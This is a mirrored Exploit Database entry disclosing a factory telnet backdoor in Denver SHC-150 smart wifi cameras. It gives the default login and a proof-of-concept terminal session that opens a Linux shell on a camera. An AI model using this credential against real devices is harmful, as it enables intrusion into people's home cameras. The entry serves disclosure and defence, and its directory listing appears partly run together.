Denver Smart Wifi Camera SHC-150 – ‘Telnet’ Remote Code Execution (RCE)

• Exploit Database
• 18 阅读

• 作者： Ivan Nikolsky
  日期： 2021-07-28
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/50160/

• # Exploit Title: Denver Smart Wifi Camera SHC-150 - 'Telnet' Remote Code Execution (RCE)
  # Date: 27 July 2021
  # Exploit Author: Ivan Nikolsky (enty8080)
  # Vendor Homepage: https://denver.eu/products/smart-home-security/denver-shc-150/c-1024/c-1243/p-3824
  # Version: Denver SHC-150 (all firmware versions)
  # Tested on: Denver SHC-150
  
  Backdoor was found in a Denver SHC-150 Smart Wifi Camera. Maybe other models also have this backdoor too.
  
  So, backdoor is a factory telnet credential - `default`. Just open the telnet connection with the camera on port 23 and enter `default` (yes, on these cameras, telnet service is served on port 23). After this, you'll get a Linux shell. Backdoor allows an attacker to execute commands on OS lever through telnet.
  
  PoC:
  
  ```
  enty8080@Ivans-Air ~ % telnet 192.168.2.118 23
  Trying 192.168.2.118...
  Connected to pc192-168-2-118.
  Escape character is '^]'.
  
  goke login: default
  $ ls /
  binhome linuxrcoptruntmp
  devinit mediaproc sbin usr
  etclibmntroot sysvar
  $ pwd
  /home/default
  $ exit
  Connection closed by foreign host.
  enty8080@Ivans-Air ~ %
  ```